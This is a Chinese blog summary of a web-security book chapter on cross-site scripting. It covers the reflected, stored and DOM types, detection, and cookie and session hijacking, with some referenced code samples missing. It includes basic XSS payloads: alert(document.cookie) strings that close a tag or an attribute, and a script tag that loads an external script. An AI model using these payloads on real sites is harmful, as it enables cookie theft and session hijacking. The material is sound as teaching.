Web安全深度剖析-第7章-XSS跨站脚本漏洞

XSS又叫CSS(Cross Site Scripting),即跨站脚本攻击。

XSS是指攻击者在网页中嵌入客户端脚本,通常是JS恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

可知,XSS属于客户端攻击,受害者是用户。可以通过攻击网站管理员的方式来对网站进行文件管理、数据管理等操作。

XSS原理解析

想要深入研究XSS,要精通JavaScript。JS可以用来获取用户的Cookie、改变网页内容、URL调转,那么存在XSS漏洞的网站,就可以盗取用户Cookie、黑掉页面、导航到恶意网站。

 

攻击者可以在<script> 与 </script> 之间输入 Javascript 代码,实现特殊效果。

还可以使用 <script src=“http://www.sobug.org/x.txt”> </script> 方式来加载脚本

JS 加载外部的代码文件可以是任意扩展名(无扩展名也可以),即使是图片文件,只要其中包含JS代码,也可以执行

XSS类型

分为反射型、存储型和DOM型。

反射型XSS

反射型XSS也被称为非持久性XSS,就是用户访问一个带有XSS代码的URL请求,服务器接受之后把带有XSS代码的数据发送到浏览器。

举例说明XSS漏洞。

在这段代码中,程序接受username后再输出,如果提交xss.php?/username=HIM,那么程序将输出HIM,如果用户输入username=<script>XSS恶意代码</script>,将会造成反射型XSS漏洞。

不要觉得反射型XSS就只是弹个框,没啥危害,看下面例子。 

攻击者伪造链接(站内私信),诱使用户点击,由此盗取用户的cookie,攻击者可以使用用户的cookie 来登录网站。

这就是危害

存储型 XSS

允许用户存储数据的Web应用都可能会出现XSS漏洞,当攻击者提交一段XSS代码后,被服务器存了下来,当攻击者再次访问某个页面时,这段XSS代码被程序读了出来后响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。

反射型 XSS 和 DOM 型 XSS 都依靠用户手动去触发,存储型 XSS 却不需要

下面是一个常见的存储型XSS场景实例。

测试是否存在 存储型 XSS

首先要确定输入点和输出点,例如在留言内容上测试XSS漏洞,首选寻找留言内容输出的地方是在标签内还是在标签属性内。如果在属性内,xss代码是不会执行的。

 <input type="text" name="content" value="<script>alert(1)</script"/>

上述代码虽然成功插入了HTML中,但是却无法执行。浏览器在解析HTML时,会把数据以文本的形式输出在网页中。如果是在属性内,就要先闭合属性值。

 <input type="text" name="content" value=""/ ><script>alert(1)</script"/>

这样就可以闭合input标签,造成XSS跨站漏洞。
测试步骤:

添加正常留言,使用 firebug 快速寻找显示标签,发现标签为

输入敏感字符,查看是否被转义。敏感字符不容易寻找,可以使用 “AAAAA<>”’&" 字符串,查找的时候直接查找 AAAAA

如果显示区域不在 HTML 属性内,则可以直接使用 XSS 代码注入,如果不能得知输出的具体位置,则可以使用模糊测试方案

 <script>alert(document.cookie)</script>    普通注入
 "/><script>alert(document.cookie)</script>    闭合标签注入
 </textarea>'"><script>alert(document.cookie)</script>    闭合标签注入


在插入盗取 cookie 的 JS 代码后,重新加载留言页面(用户查看的时候),XSS代码被浏览器执行
 

DOM XSS

DOM(Document Object Model)文档对象模型,DOM通常用于代表HTML、XHTML和XML中的对象,使用DOM可以允许程序和脚本动态地访问和更新文档中的内容、结构和样式。

DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构,根据DOM规定,HTML文档中的每个成分都是一个节点。

  • 整个文档是一个文档节点
  • 每个HTML标签是一个元素节点
  • 包含在HTML元素中的文本是文本节点
  • 每一个HTML属性是一个属性节点
  • 节点与节点之间都有等级关系

HTML的标签是一个个节点,组成了DOM节点树。

 检测XSS

分为手工检测和软件检测。

手工检测XSS

考虑哪里有输入,输入的东西在什么位置输出。

要新选择有特殊意义的字符,一步步的测试。

1.可得知输出位置

输入一些敏感字符,例如“<、>、"、'、()”等,在提交请求后查看HTML代码,看这些输入的字符有没有被转义。

在输入这些敏感字符时,可能程序已经过滤了,可以输入"AAAA<>&"‘&"字符串,然后再找AAAA。

2.无法得知输出位置

很多时候我们不知道输入数据在何处显示,比如测试某留言本是否存在XSS,在留言后可能需要管理员的审核才能显示,这是无法得知输入的数据在后台管理页面处于何种状态,例如:

全自动检测XSS 

APPSCAN、AWVS、Burp Suite等软件都可以检测XSS跨站漏洞,除此之外还会检测SQL注射、文件包含、应用程序错误等漏洞。不如专业的XSS检测工具效率高。

专业的有XSSER、XSSF,也有扫描漏洞的web服务:www.domxssscanner.com,专门扫描DOM类型的XSS。

自动一定要和手动相结合,例如提交留言需要短信验证、验证码填写等,这是工具无法做到的。

XSS高级利用

XSS不仅只是弹个框,可能会造成以下危害:

  • 盗取用户Cookie
  • 修改网页内容
  • 网站挂马
  • 利用网站重定向
  • XSS蠕虫

XSS会话劫持

1.Cookie

Cookie是保存在内存或硬盘的小文件,用于维持网站会话,保存了用户ID、密码、停留时间等信息。一个网站只能取回该网站本身放在电脑的Cookie,无法获得其他网站的Cookie。

每个Cookie文件都是一个TXT文件,都以“用户名@网站URL"来命名。

Cookie由变量名(key)和值(Value)组成,其属性里既有标准的Cookie变量,也有用户自己创建的变量,属性中的变量用”变量=值“的形式来保存。

 

 

2.读写Cookie 

JS、Java、PHP、ASP.NET都能读写Cookie。

 在这段Servlet代码中,将会获取本地计算机Cookie,如果Cookie不为空,就遍历数组把所有的Cookie值取出来。如果Cookie为空,就获取username参数值,并且将值写入Cookie的Name字段中,最后将Cookie发送到客户端。

3.JavaScript操作Cookie

 5.SESSION

Session是一种服务器端的机制,使用一种类似散列表的结构来保存信息。

Web中的Session是指用户在浏览某个网站时,从进入网站到关闭浏览器所经过的这段时间,也就是一次客户端与服务器的对话。

每个用户的会话状态都是不同的Session,服务器通过SESSIONID来区分不同用户。

当用户第一次连接到服务器时,会自动分配一个SESSIONID,这个ID是唯一的编号,如果连接关闭,SESSION会自动注销,当用户在此连接时,将会重新分配。

如果浏览器与服务器会话没结束之前拿到这个SESSIONID,是否同样也能会话劫持呢?

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值